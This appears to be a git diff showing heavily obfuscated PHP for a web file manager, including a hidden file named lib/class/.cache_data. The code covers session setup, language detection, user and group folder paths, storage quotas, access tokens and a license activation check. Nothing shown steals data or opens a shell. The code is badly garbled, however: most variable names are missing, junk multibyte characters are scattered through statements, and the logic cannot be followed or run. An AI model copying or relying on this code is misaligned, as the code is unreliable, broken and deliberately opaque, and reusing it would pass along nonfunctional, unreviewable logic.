error!|:|@|5session_id|:|@|5access_token|:|@|5access_token_check|:|@|5session_name|:|@|5session_save_path|:|@|5session_start|:|@|5session_write_close|:|@|5init_setting|:|@|5init_lang|:|@|5init_user_setting|:|@|5init_session|:|@|5need_check_code|:|@|5en|:|@|5setting_all|:|@|5language|:|@|5zh|:|@|5zh-tw|:|@|5HTTP_ACCEPT_LANGUAGE|:|@|5en|:|@|5_|:|@|5-|:|@|5preg_match_all|:|@|5~([-a-z]+)(;q=([0-9.]+))?~|:|@|5~-.*~|:|@|5kod_user_language|:|@|5setcookie_header|:|@|5time|:|@|5..|:|@|5zh_CN|:|@|5zh_TW|:|@|5/main.php|:|@|5LANGUAGE_TYPE|:|@|5*|:|@|5?|:|@|5"|:|@|5system_setting.php|:|@|5setting_system_default|:|@|5menu|:|@|5setting_menu_default|:|@|5app|:|@|5first_in|:|@|5index|:|@|5kod_name|:|@|5system_name|:|@|5kod_name_desc|:|@|5system_desc|:|@|5powerby|:|@|5kod_power_by|:|@|5config/setting_user.php|:|@|5STATIC_PATH|:|@|5static_path|:|@|5session_destroy|:|@|5KOD_SESSION_SSO|:|@|5setcookie|:|@|5kod_token|:|@|5header|:|@|5location:./index.php?user/login|:|@|5base64_encode|:|@|5+|:|@|5=|:|@|5_a|:|@|5_b|:|@|5_c|:|@|5base64_decode');ƖɝӉϟĆ౷ġĠŷЬδ۰ܛͼ;
+ $GLOBALS{}[0]($GLOBALS{}{0x001},$GLOBALS{}[0x0002]);$GLOBALS{}[0]($GLOBALS{}{0x00003},$GLOBALS{}[0x000004]);$GLOBALS{}[0]($GLOBALS{}{0x05},$GLOBALS{}[0x006]);$GLOBALS{}[0]($GLOBALS{}{0x0007},$GLOBALS{}[0x00008]);$GLOBALS{}[0]($GLOBALS{}{0x000009},$GLOBALS{}[0x0a]);$GLOBALS{}[0]($GLOBALS{}{0x00b},$GLOBALS{}[0x000c]);$GLOBALS{}[0]($GLOBALS{}{0x0000d},$GLOBALS{}[0x00000e]);function _DIR_CLEAR($){$=&$GLOBALS{};if(isset($GLOBALS[${0x0f}])&& $GLOBALS[${0x0f}]){return $;}$=$[0x0010](${0x00011},$[0x000012],${0x0000013}($));if($[0x014]($,${0x0015})){$=$[0x00016](${0x000017},$[0x000012],$);}$=$[0x00016]($[0x0000018],$[0x000012],$);return $;ͺ봠ޝԮ;}function _DIR($ʭ){$=&$GLOBALS{};$߽=${0x019}($ʭ);$߽=$[0x001a]($߽);$=array(KOD_GROUP_PATH,KOD_GROUP_SHARE,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL,KOD_USER_SHARE,KOD_USER_RECYCLE,KOD_USER_FAV,);Ġۏ;$GLOBALS[${0x0001b}]=$[0x00001c];;$GLOBALS[${0x000001d}]=HOME;Ȕ鵤¨ߺйׇߓ𪥦;$GLOBALS[$[0x01e]]=$[0x00001c];ו;unset($GLOBALS[${0x001f}]);ݭȩ㾦Ť;foreach($ as $){if($[0x00020]($߽,0,${0x000021}($))==$){$GLOBALS[${0x0001b}]=$;$ǐ=$[0x0000022]($[0x000012],$߽);$=$ǐ[0];unset($ǐ[0]);$=${0x023}($[0x000012],$ǐ);$ݭ=$[0x0000022]($[0x0024],$);if(${0x00025}($ݭ)>0x001){$GLOBALS[$[0x01e]]=${0x0000013}($ݭ[0x001]);}else{$GLOBALS[$[0x01e]]=$[0x00001c];}break;}}switch($GLOBALS[${0x0001b}]){case $[0x00001c]:$߽=$[0x001a](HOME).$߽;ީ즤;break;䚅̩ꡰ;case KOD_USER_RECYCLE:$GLOBALS[${0x000001d}]=${0x0000013}(USER_RECYCLE,$[0x000012]);$GLOBALS[$[0x01e]]=$[0x00001c];return $[0x001a](USER_RECYCLE).$[0x000012].$[0x0010](KOD_USER_RECYCLE,$[0x00001c],$߽);case KOD_USER_FAV:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_USER_FAV,$[0x000012]);$GLOBALS[$[0x01e]]=$[0x00001c];ԧֈ;return KOD_USER_FAV;case KOD_GROUP_ROOT_SELF:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_GROUP_ROOT_SELF,$[0x000012]);$GLOBALS[$[0x01e]]=$[0x00001c];ϷީԵ;return KOD_GROUP_ROOT_SELF;case KOD_GROUP_ROOT_ALL:$GLOBALS[${0x000001d}]=${0x0000013}(KOD_GROUP_ROOT_ALL,$[0x000012]);돁䅉;$GLOBALS[$[0x01e]]=$[0x00001c];淬⩊Ўڲė;return KOD_GROUP_ROOT_ALL;ñриٌן꽧;case KOD_GROUP_PATH:$ˢ=system_group::get_info($GLOBALS[$[0x01e]]);if(!$GLOBALS[$[0x01e]]|| !$ˢ)return !1;$[0x000026]($GLOBALS[$[0x01e]]);;$GLOBALS[${0x000001d}]=${0x0000027}($ˢ);$߽=$[0x001a]($GLOBALS[${0x000001d}]).$;break;豿;case KOD_GROUP_SHARE:$ˢ=system_group::get_info($GLOBALS[$[0x01e]]);龏éۮс̕᠅;if(!$GLOBALS[$[0x01e]]|| !$ˢ)return !1;$[0x000026]($GLOBALS[$[0x01e]]);;$GLOBALS[${0x000001d}]=${0x0000027}($ˢ).$[0x028];;$߽=$[0x001a]($GLOBALS[${0x000001d}]).$;;break;;case KOD_USER_SHARE:$ˢ=system_member::get_info($GLOBALS[$[0x01e]]);;if(!$GLOBALS[$[0x01e]]|| !$ˢ)return !1;if($GLOBALS[$[0x01e]]!=$_SESSION[${0x0029}][$[0x0002a]]){${0x00002b}();}$GLOBALS[${0x000001d}]=$[0x00001c];$GLOBALS[${0x001f}]=$ʭ;ݵ♴魝봐¥˯Җɀ;if($==$[0x00001c]){return $߽;}else{$ͩ=$[0x0000022]($[0x000012],$);$ͩ[0]=$[0x000002c]($ͩ[0]);$=system_member::user_share_get($GLOBALS[$[0x01e]],$ͩ[0]);$GLOBALS[${0x001f}]=KOD_USER_SHARE.$[0x0024].$GLOBALS[$[0x01e]].$[0x000012].$ͩ[0].$[0x000012];unset($ͩ[0]);if(!$)return !1;$=${0x02d}($[$[0x002e]],$[0x000012]).$[0x000012].$[0x000002c](${0x023}($[0x000012],$ͩ));;if($ˢ[${0x0002f}]!=$[0x000030]){$=${0x0000031}($ˢ);$GLOBALS[${0x000001d}]=$.${0x02d}($[$[0x002e]],$[0x000012]).$[0x000012];$߽=$.$;}else{$GLOBALS[${0x000001d}]=$[$[0x002e]];$߽=$;}if($[$[0x032]]==${0x0033}){$GLOBALS[${0x001f}]=${0x02d}($GLOBALS[${0x001f}],$[0x000012]);$GLOBALS[${0x000001d}]=${0x02d}($GLOBALS[${0x000001d}],$[0x000012]);}$߽=$[0x001a]($߽);}break;default:break;ˑУފ;}if($߽!=$[0x000012]){$߽=${0x02d}($߽,$[0x000012]);if($[0x00034]($߽))$߽=$߽.$[0x000012];}return $߽;əʆʴ݃莣ߡ;}function _DIR_OUT($){$=&$GLOBALS{};if(${0x000035}($)){foreach($[$[0x0000036]] as $=>&$嗶){$嗶[$[0x002e]]=${0x037}($嗶[$[0x002e]]);}foreach($[$[0x0038]] as $=>&$嗶){$嗶[$[0x002e]]=${0x037}(${0x02d}($嗶[$[0x002e]],$[0x000012]).$[0x000012]);}}else{$=${0x037}($);}return $;}function pre_clear($ҍ){$=&$GLOBALS{};$=$GLOBALS[${0x0001b}];ΠʹϹ繃;$=${0x02d}($GLOBALS[${0x000001d}],$[0x000012]);͏ݗ;$=array(KOD_USER_FAV,KOD_GROUP_ROOT_SELF,KOD_GROUP_ROOT_ALL);Կ؇;if(isset($GLOBALS[${0x0001b}])&& ${0x00039}($GLOBALS[${0x0001b}],$)){return $ҍ;}if(ST==$[0x00003a]){return $[0x0010]($,$[0x00001c],$ҍ);}if($GLOBALS[$[0x01e]]!=$[0x00001c]){$.=$[0x0024].$GLOBALS[$[0x01e]].$[0x000012];}if(isset($GLOBALS[${0x001f}])){$=$GLOBALS[${0x001f}];}$=$.$[0x0010]($,$[0x00001c],$ҍ);$=$[0x0010](${0x000003b},$[0x000012],$);return $;ޗ;}function owner_group_check($){$=&$GLOBALS{};if(!$)$[0x03c]($GLOBALS[${0x003d}][$[0x0003e]].$,!1);if($GLOBALS[${0x0f}]||(isset($GLOBALS[${0x00003f}])&& $GLOBALS[${0x00003f}]===!0)){return;}$ĕ=system_member::user_auth_group($);if($ĕ!=$[0x0000040]){${0x00002b}();if($ĕ==!1&& $GLOBALS[${0x0001b}]==KOD_GROUP_PATH){$[0x03c]($GLOBALS[${0x003d}][${0x041}],!1);}}}function owner_check(){$=&$GLOBALS{};if($GLOBALS[${0x0f}]||(isset($GLOBALS[${0x00003f}])&& $GLOBALS[${0x00003f}]===!0)){return;}$=$GLOBALS[$[0x0042]][${0x00043}];if(!$[0x000044](ST,$))return;if(${0x00039}(ACT,$[${0x0000045}])){$[0x03c]($GLOBALS[${0x003d}][$[0x046]],!1);}}function checkExt($Ȼ){$=&$GLOBALS{};if($[0x014]($Ȼ,${0x0047})|| $[0x014]($Ȼ,$[0x00048])|| $Ȼ==$[0x00001c]){return 0;}$=$GLOBALS[${0x000049}][$[0x000004a]];$=$[0x0000022](${0x04b},$);̏跩ԨӪ;foreach($ as $ў){if($ў!==$[0x00001c] && $[0x004c]($Ȼ,${0x0004d}.$ў)){return 0;}}return 0x001;}function zip_pre_name($,$=false){$=&$GLOBALS{};if($[0x00004e]($)==${0x000004f})return $[0x00001c];if(!$[0x050](${0x0051})){return $;}$=$GLOBALS[$[0x0042]][$[0x00052]];if($==!1){$=${0x000053};$=$[0x0000054]();if(${0x055}()&&($==$[0x0056] || $==${0x00057} || LANGUAGE_TYPE==${0x00057} || LANGUAGE_TYPE==${0x00057})){$=$[0x000058];}}$=@${0x0000059}($,$,$);if(!$){$=$;}return $;}function unzip_filter_ext($){$=&$GLOBALS{};$ǭ=$[0x05a];if(${0x005b}($)){return $;}return $.$ǭ;}function unzip_pre_name($Ē){$=&$GLOBALS{};if(!$[0x050](${0x0051})){return $[0x0005c]($Ē);}if(isset($GLOBALS[${0x00005d}])){$=$GLOBALS[${0x00005d}];}else{$=$[0x000005e]($Ē);}$ǃ=$GLOBALS[$[0x0042]][$[0x00052]];$ю=@${0x0000059}($,$ǃ,$Ē);if(!$ю){$ю=$Ē;}$ю=$[0x0005c]($ю);return $ю;жŚȑ;}function unzip_charset_get($){$=&$GLOBALS{};if(${0x00025}($)==0)return ${0x000053};$=array();ŭͨюǐ桝̶;for($=0;$<${0x00025}($);$++){$=$[0x000005e]($[$][${0x05f}]);if(!isset($[$])){$[$]=0x001;}else{$[$]+= 0x001;}}$[0x0060]($);$=${0x00061}($);̶ͥԘǝ;if(${0x00039}($[0x000062],$)){$[0]=$[0x000062];}$GLOBALS[${0x00005d}]=$[0];return $[0];;}function charset_check(&$,$){$=&$GLOBALS{};if($===$[0x00001c] || !$[0x050](${0x0000063})){return !1;}$̏=${0x000053};$=@$[0x064]($,$̏,$);㊙ڻ;$=@$[0x064]($,$,$̏);if($==$){return !0;}return !1;}function get_charset(&$){$=&$GLOBALS{};if($===$[0x00001c] || !$[0x050](${0x0065})){return ${0x000053};}$ϛ=$[0x00066](@${0x000067}($,$GLOBALS[$[0x0042]][$[0x0000068]]));if($[0x00020]($,0,0x0002)==${0x069}(0xFF).${0x069}(0xFE)|| $[0x00020]($,0,0x0002)==${0x069}(0xFE).${0x069}(0xFF)){$ϛ=$[0x006a];}else if($[0x00020]($,0,0x00003)==${0x069}(0xEF).${0x069}(0xBB).${0x069}(0xBF)){$ϛ=${0x000053};}else if($ϛ==${0x0006b} || $ϛ==$[0x00006c]){$ϛ=$[0x000062];}else if($ϛ==${0x000006d}){$ϛ=${0x000053};}if($ϛ==$[0x06e]){if(${0x006f}($,${0x000053})){$ϛ=${0x000053};}}return $ϛ;}function file_upload_size(){$=&$GLOBALS{};global$config;ܠ̏;if(isset($config[$[0x00070]][${0x000071}])){return $config[$[0x00070]][${0x000071}];}$=$[0x0000072]();return $;}function space_size_use_check(){$=&$GLOBALS{};if(!${0x073}())return;if($GLOBALS[${0x0f}]==0x001)return;if($GLOBALS[${0x0001b}]==KOD_GROUP_SHARE|| $GLOBALS[${0x0001b}]==KOD_GROUP_PATH){system_group::space_check($GLOBALS[$[0x01e]]);}else{if(${0x0000045}==$[0x00003a]){$=$GLOBALS[$[0x0074]][${0x00075}];}else{$=$_SESSION[${0x0029}][$[0x0002a]];}system_member::space_check($);}}function space_size_use_change($,$=true,$=false,$=false){$բ=&$GLOBALS{};if(!$բ{0x073}())return;if($===!1){$=$GLOBALS[$բ{0x0001b}];$=$GLOBALS[$բ[0x01e]];}$=$?0x001:-0x001;if($բ[0x000076]($)){$۪=$բ{0x0000077}($);}else if($բ[0x00034]($)){$=$բ[0x078]($);$۪=$[$բ{0x0079}];}else{return;}if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){system_group::space_change($,$۪*$);}else{if($բ{0x0000045}==$բ[0x00003a]){$=$GLOBALS[$բ[0x0074]][$բ{0x00075}];}else{$=$_SESSION[$բ{0x0029}][$բ[0x0002a]];}system_member::space_change($,$۪*$);}}function space_size_use_reset(){$=&$GLOBALS{};if(!${0x073}())return;$=isset($GLOBALS[${0x0001b}])?$GLOBALS[${0x0001b}]:$[0x00001c];$=isset($GLOBALS[$[0x01e]])?$GLOBALS[$[0x01e]]:$[0x00001c];ג;if($==KOD_GROUP_SHARE|| $==KOD_GROUP_PATH){system_group::space_change($);}else{$=$_SESSION[${0x0029}][$[0x0002a]];system_member::space_change($);}}function check_list_dir(){$=&$GLOBALS{};$=APPHOST.$[0x0007a];˝Ի٘Հ끾;$=${0x00007b};@$[0x000007c](${0x07d},0x001);$=$[0x007e](array(${0x0007f}=>array($[0x000080]=>${0x0000081},$[0x082]=>0x001)));嬔;$=@${0x0083}($,!1,$);;if($[0x00084]($,$)===!1){return !0;}else{return !1;}}function php_env_check(){$=&$GLOBALS{};$=$GLOBALS[${0x003d}];$ԭ=$[0x00001c];ŐƔǬū횔;if(!$[0x050](${0x0051}))$ԭ.= ${0x000085}.$[$[0x0000086]].${0x087};if(!$[0x050]($[0x0088]))$ԭ.= ${0x000085}.$[${0x00089}].${0x087};if(!$[0x00008a](PHP_VERSION,${0x000008b},$[0x08c]))$ԭ.= ${0x000085}.$[${0x008d}].${0x087};if(!$[0x050]($[0x0008e]))$ԭ.=${0x000085}.$[${0x00008f}].${0x087};if(!$[0x0000090]())$ԭ.=${0x000085}.$[${0x091}].${0x087};$=$[0x0092](BASIC_PATH);$ׁ=array(BASIC_PATH,DATA_PATH,DATA_PATH.${0x00093},DATA_PATH.$[0x000094],DATA_PATH.${0x0000095},DATA_PATH.$[0x096]);̲榸筕âӤΔ칛ʒ߳ã٠;foreach($ׁ as $){if(!${0x0097}($)){$ԭ.= ${0x000085}.$[0x0010]($,$[0x00001c],$).$[0x00098].$[${0x000099}].${0x087};}}if(!$[0x050]($[0x000009a])|| !$[0x050](${0x09b})|| !$[0x050]($[0x009c])|| !$[0x050](${0x0009d})){$ԭ.= ${0x000085}.$[$[0x00009e]].${0x087};}return $ԭ;}include(CLASS_DIR.$GLOBALS{}{0x000009f});function init_common(){$ِɬ=&$GLOBALS{};$GLOBALS[$ِɬ[0x0074]]=$ِɬ[0x0a0]();if(!$ِɬ{0x00a1}(DATA_PATH)){$ِɬ[0x000a2]($ِɬ{0x0000a3});}$=$ِɬ{0x0083}(BASIC_PATH.$ِɬ[0x00000a4]);$ҷ=$ِɬ{0x0a5}($,$ِɬ[0x00a6]);;if($ҷ!=KOD_VERSION){$ِɬ[0x000a2]($ِɬ{0x000a7});}$긭=$ِɬ[0x0000a8].BASIC_PATH.$ِɬ{0x00000a9};if(!$ِɬ{0x00a1}(KOD_SESSION)|| !$ِɬ{0x00a1}(KOD_SESSION.$ِɬ[0x0aa])){$ِɬ{0x00ab}(KOD_SESSION);$ِɬ[0x000ac](KOD_SESSION.$ِɬ[0x0aa]);if(!$ِɬ{0x00a1}(KOD_SESSION.$ِɬ[0x0aa])){$ِɬ[0x000a2]($긭);}}if(!$ِɬ{0x0000ad}(KOD_SESSION)|| !$ِɬ{0x0000ad}(KOD_SESSION.$ِɬ[0x0aa])|| !$ِɬ{0x0000ad}(DATA_PATH.$ِɬ[0x00000ae])|| !$ِɬ{0x0000ad}(DATA_PATH)){$ِɬ[0x000a2]($긭);}$=LIB_DIR.$ِɬ{0x0af};if($ِɬ{0x00a1}($)){include($);$ِɬ[0x00b0]($);}}function access_token_check($){$=&$GLOBALS{};$=$GLOBALS[$[0x0042]][${0x000b1}][$[0x0000b2]];$=$[0x00020](${0x00000b3}($[0x0b4].$),0,0x0f);ᩂÙᣗՕ;$ٞ=Mcrypt::decode($,$);偓܌ԣďγלӥաԆ⌺١;if(!$ٞ){$[0x000a2](${0x00b5});}$[0x000b6]($ٞ);}function access_token_get(){$=&$GLOBALS{};$=$[0x000b6]();Ϝȷ;$㎾=$GLOBALS[$[0x0042]][${0x000b1}][$[0x0000b2]];$㎾=$[0x00020](${0x00000b3}($[0x0b4].$㎾),0,0x0f);$=Mcrypt::encode($,$㎾,0x0e10*0x0000018);Ԉ𰼠لȎ;return $;}function init_session(){$=&$GLOBALS{};if(isset($_GET[${0x0000b7}])){$[0x00000b8]($_GET[${0x0000b7}]);}else{@${0x0b9}(SESSION_ID);}@$[0x00ba](KOD_SESSION);@${0x000bb}();ˀ֨폛;@$[0x0000bc]();}function init_config(){$=&$GLOBALS{};${0x00000bd}();$[0x0be]();${0x00bf}();$[0x000c0]();ڷ;}function need_check_code(){$䞋=&$GLOBALS{};$=$GLOBALS[$䞋[0x0042]][$䞋{0x000b1}];ۜ4ѻ;if(!$[$䞋{0x0000c1}]|| !$䞋[0x050]($䞋[0x000009a])|| !$䞋[0x050]($䞋{0x09b})|| !$䞋[0x050]($䞋[0x009c])|| !$䞋[0x050]($䞋{0x0009d})){return !1;}else{return !0;}}function get_default_lang(){$=&$GLOBALS{};$=$[0x00000c2];$=$GLOBALS[$[0x0042]][${0x0c3}][$[0x00c4]];$=array();foreach($ as $=>$){$[$]=$;ڪ눬ՓՔԩ;}$[${0x000c5}]=$[0x0056];ԧˌݲ;$[$[0x0000c6]]=${0x00057};;$=array();if(!isset($_SERVER[${0x00000c7}])){$=$[0x0c8];}else{$=$[0x0010](${0x00c9},$[0x000ca],$[0x00066]($_SERVER[${0x00000c7}]));}${0x0000cb}($[0x00000cc],$,$,PREG_SET_ORDER);foreach($ as $){$[$[0x001]]=(isset($[0x00003])?$[0x00003]:0x001);}$[0x0060]($);;foreach($ as $=>$){if(isset($[$])){$=$[$];break;}$=$[0x00016](${0x0cd},$[0x00001c],$);if(!isset($[$])&& isset($[$])){$=$[$];break;}}return $;̡݂ʧњĩħ唴ŀٟ;}function init_lang(){$Ӣ=&$GLOBALS{};if(isset($_COOKIE[$Ӣ[0x00ce]])){$=$_COOKIE[$Ӣ[0x00ce]];}else{$=$Ӣ[0x0000054]();$Ӣ{0x000cf}($Ӣ[0x00ce],$,$Ӣ[0x0000d0]()+0x0e10*0x0000018*0x064);}$=$Ӣ[0x0010](array($Ӣ[0x000012],$Ӣ{0x00011},$Ӣ{0x00000d1},$Ӣ{0x0004d}),$Ӣ[0x00001c],$);if(isset($GLOBALS[$Ӣ[0x0042]][$Ӣ[0x00070]][$Ӣ[0x00c4]])){$=$GLOBALS[$Ӣ[0x0042]][$Ӣ[0x00070]][$Ӣ[0x00c4]];}if($==$Ӣ[0x0d2])$=$Ӣ[0x0056];if($==$Ӣ{0x00d3})$=$Ӣ{0x00057};$=LANGUAGE_PATH.$.$Ӣ[0x000d4];ǯ⊧ׂ֝㯒ɟƯ쓒Ʋ;if(!$Ӣ{0x00a1}($)){$=$Ӣ[0x0c8];$=LANGUAGE_PATH.$.$Ӣ[0x000d4];}$Ӣ[0]($Ӣ{0x0000d5},$);$GLOBALS[$Ӣ{0x003d}]=include($);}function make_path($){$=&$GLOBALS{};$=array($[0x000012],${0x00011},$[0x0024],$[0x00000d6],${0x0d7},$[0x00d8],${0x0047},$[0x00048],${0x04b});ͳաޛ뇐룡陑ػ覰߸ϕד;return $[0x0010]($,${0x00c9},$);}function init_setting(){$؞=&$GLOBALS{};$=USER_SYSTEM.$؞{0x000d9};if(!$؞{0x00a1}($)){$=$GLOBALS[$؞[0x0042]][$؞[0x0000da]];$[$؞{0x00000db}]=$GLOBALS[$؞[0x0042]][$؞[0x0dc]];fileCache::save($,$);}else{$=fileCache::load($);}if(!$؞{0x000035}($)){$=$GLOBALS[$؞[0x0042]][$؞[0x0000da]];}if(!$؞{0x000035}($[$؞{0x00000db}])){$[$؞{0x00000db}]=$GLOBALS[$؞[0x0042]][$؞[0x0dc]];}$GLOBALS[$؞{0x00dd}]->setDefaultController($[$؞[0x000de]]);$GLOBALS[$؞{0x00dd}]->setDefaultAction($؞{0x0000df});ۺӢܩӱЄNjޑ;$GLOBALS[$؞[0x0042]][$؞{0x000b1}]=$;;}function init_user_setting(){$=&$GLOBALS{};$GLOBALS[${0x003d}][$[0x00000e0]]=$GLOBALS[$[0x0042]][${0x000b1}][${0x0e1}];$GLOBALS[${0x003d}][$[0x00e2]]=$GLOBALS[$[0x0042]][${0x000b1}][${0x000e3}];if(isset($[$[0x0000e4]])){$GLOBALS[${0x003d}][${0x00000e5}]=$GLOBALS[$[0x0042]][${0x000b1}][$[0x0000e4]];}$=BASIC_PATH.$[0x0e6];if(${0x00a1}($)){include($);}$[0](${0x00e7},$GLOBALS[$[0x0042]][$[0x00070]][$[0x000e8]]);}function user_logout(){$=&$GLOBALS{};@${0x0000e9}();@${0x0b9}($[0x00000ea]);ᑂբӾֵ;@${0x000bb}();瘊ާ;@${0x0000e9}();ҦԱ慽Ԗ;${0x0eb}(SESSION_ID,$[0x00001c],$[0x0000d0]()-0x0e10,$[0x000012]);˦;${0x0eb}($[0x00000e0],$[0x00001c],$[0x0000d0]()-0x0e10);ɣ؍;${0x0eb}($[0x00ec],$[0x00001c],$[0x0000d0]()-0x0e10);${0x000ed}($[0x0000ee]);ˋږƷį襉۾;exit;ŐıӞګƜ;}function hash_encode($){$=&$GLOBALS{};return $[0x0010](${0x00000ef}($),array($[0x0f0],$[0x000012],${0x00f1}),array($[0x000f2],${0x0000f3},$[0x00000f4]));}function hash_decode($){$=&$GLOBALS{};return ${0x0f5}($[0x0010]($,array($[0x000f2],${0x0000f3},$[0x00000f4]),array($[0x0f0],$[0x000012],${0x00f1})));}
\ No newline at end of file
diff --git a/lib/class/.cache_data b/lib/class/.cache_data
index c6f0eed..f1a1295 100755
--- a/lib/class/.cache_data
+++ b/lib/class/.cache_data
@@ -1,2 +1,2 @@
-0x0a,$=>0x032,$Ѝ=>0x0c8,$Ļ=>0x03e8,);Ģ֢Ϧɿ;$˩=$->get();$=$Ă[$];if($==${0x0001b}){if($==$&& isset($in[$[0x00001c]])){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1,$[0x00020]);}if(${0x000021}($˩)>=$&& $!=0x03e8){${0x000001d}($GLOBALS[$[0x01e]][$[0x0000022]],!1,$[0x00020]);}}if($==${0x0001b} || $==${0x023}){if($==$&& isset($in[$[0x0010]])){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1,$[0x00020]);}}if($==$[0x0024]){if(${0x000021}($˩)>$&& $!=0x03e8){$Ā=0x001;$=array();foreach($˩ as $=>$ۻ){if($Ā>$)break;$[$]=$ۻ;$Ā++;ʩʝְҺ兇ᩮߡ鮑㣨ڳ繛;}$->reset($,!1);퍭ѕ˂߸ˣ;}$˩=$->get();ބڱȬރހ;if($==$){$=array();foreach($˩ as $=>$ۻ){unset($ۻ[$[0x0010]]);$[$]=$ۻ;}$->reset($,!1);}}return $;٬︬ȠĖ;}function system_group_data(){$=&$_SERVER{};global$in;뷄ꢖ°;$ۋ=ST.$[0x014].ACT;$Ӄ=$[0x000012];Ŏ˅;$=${0x0015};$=$[0x00016];Յڪм١;$=${0x000017};$=$GLOBALS[$[0]][${0x00003}][${0x0000013}];;if(!$|| !$[0x0000018]($,array($Ӄ,$,$,$))){$=$Ӄ;}$̢=new ${0x019}(USER_SYSTEM.${0x00025});$=array($Ӄ=>0x001,$=>0x0a,$=>0x032,$=>0x03e8,);Ј䁚;$=$̢->get();ՇƌʆہזۇӍDzÙʝߴ;$˱=$[$];if($ۋ==$[0x000026]){if(${0x000021}($)>=$˱&& $˱!=0x03e8){${0x000001d}($GLOBALS[$[0x01e]][$[0x0000022]],!1,$[0x00020]);}}if($ۋ==$[0x000026] || $ۋ==${0x0000027}){if($==$Ӄ&& isset($in[$[0x0010]])){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1,$[0x00020]);}}if($ۋ==$[0x028]){if(${0x000021}($)>$˱&& $˱!=0x03e8){$=0x001;$=array();foreach($ as $ۋ=>$Ż){if($>$˱)break;$[$ۋ]=$Ż;ʑÆփѩ;$++;ŭݰƢԑՑ˕ǥ;}$̢->reset($,!1);}$=$̢->get();ԵäہΤͥ˿;if($==$Ӄ){$=array();foreach($ as $ۋ=>$Ż){unset($Ż[$[0x0010]]);$[$ۋ]=$Ż;}$̢->reset($,!1);}}return $̢;őų֯ԉƣƜ;}function system_rol_data(){$=&$_SERVER{};$ؓ=ST.$[0x014].ACT;$р=$[0x000012];đز;$=${0x0015};$Ƿ=$[0x00016];֤ȦЌ؏˦׃됛ӊǦǐβ;$=${0x000017};܅;if($ؓ==${0x0029}){$[0x0002a]();exit;}$=&$GLOBALS[$[0]][${0x00003}];if(!${0x00002b}()){$[${0x0000013}]=$р;if($ؓ!=$[0x000002c] && ${0x02d}($_SESSION[$[0x002e]])&& $_SESSION[$[0x002e]][${0x0002f}]==$[0x000030]){${0x0000031}(!1);include(TEMPLATE.$[0x032]);exit;}}if($ؓ==${0x0033} && $[${0x0000013}]==$р){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1);}$=new ${0x019}(USER_SYSTEM.$[0x00034]);return $;Ҟݮ;}function init_version_check(){$=&$_SERVER{};$=&$GLOBALS[$[0]][${0x00003}];Ӿٴɉ;$=${0x000035};$=$[0x000012];$=${0x0015};ᛧ販;$=$[0x00016];ǣɺݏ٣۩Ͽ͒옫;$=${0x000017};if(!isset($[${0x0000013}])|| !$[0x0000018]($[${0x0000013}],array($,$,$,$))){$[${0x0000013}]=$;}if($[${0x0000013}]==$){unset($[$[0x0000036]]);return !0;}if(!isset($[${0x0000013}])|| !isset($[${0x037}])|| !isset($[$[0x0038]])|| !isset($[${0x00039}])|| !isset($[$[0x00003a]])){return !1;}if(${0x000003b}($[${0x0000013}])!=0x001|| ${0x000003b}($[${0x037}])!=0x0010|| ${0x000003b}($[$[0x0038]])!=0x0003e|| ${0x000003b}($[${0x00039}])!=0x0010){return !1;}$Ю=$[0x03c]($[$[0x0038]],0x00020);$=${0x003d}($Ю.$[${0x037}].$[${0x00039}].$[${0x0000013}]);if($!=$[0x03c]($[$[0x0038]],0,0x00020)){return !1;}$=Mcrypt::decode($[$[0x00003a]],${0x003d}($.$[$[0x0038]]));$=!1;ۈӹ;if(${0x001}($)){$=$[0x0003e]($);$=Mcrypt::decode($,${0x003d}($.$[${0x00039}]));if($!=${0x00003f} && $[0x0000040]($)>${0x041}()){$=!0;}}if(!$){return !1;}$讳=$[0x03c](${0x003d}($[$[0x0038]]),0x0a,0x0a);$=$讳.$[${0x0000013}].$[${0x00039}];$[$[0x0000036]]=Mcrypt::encode($,$,0);;return !0;}function version_install(){$=&$_SERVER{};$٥=&$GLOBALS[$[0]][${0x00003}];$=${0x000035};if(isset($_GET[$[0x0042]])){${0x0000031}(!0);${0x00043}($[0x000044]);}if(!isset($_GET[${0x0000045}])){include(TEMPLATE.$[0x032]);exit;}else{$=$[0x046](0x0010);$=${0x0047};$=$.$[0x00048].$_GET[${0x0000045}].${0x000049}.$;$=$.$[0x000004a].${0x04b}($_SERVER[$[0x004c]]);$=${0x0004d}($[0x0003e]($),!0);if(${0x02d}($)&& $[$[0x00004e]]==!0&& ${0x02d}($[${0x000004f}])){$=new ${0x019}(USER_SYSTEM.$[0x050]);$=$->get();$[${0x037}]=$_GET[${0x0000045}];$[$[0x0038]]=$[${0x000004f}][$[0x0038]];$[${0x00039}]=$;$[${0x0000013}]=$[${0x000004f}][${0x0000013}];$=Mcrypt::decode($٥[$[0x00003a]],${0x003d}($.$٥[$[0x0038]]));${0x0051}($);$[0x00052]($,$[${0x000004f}]);$->reset($);$=BASIC_PATH.${0x000053};if(!${0x001}($)){$=$[0x0000054];${0x055}($,$);}$[0x0056]($GLOBALS[$[0x01e]][${0x00057}]);}else{$[0x0056]($[${0x000004f}],!1);}}}function install_msg($,$=true){$ȇ=&$_SERVER{};$=$?$ȇ[0x000058] :$ȇ{0x0000059};$ȇ[0x05a]($,$,0x0002);ǬճŮճڝ͎̰;}function 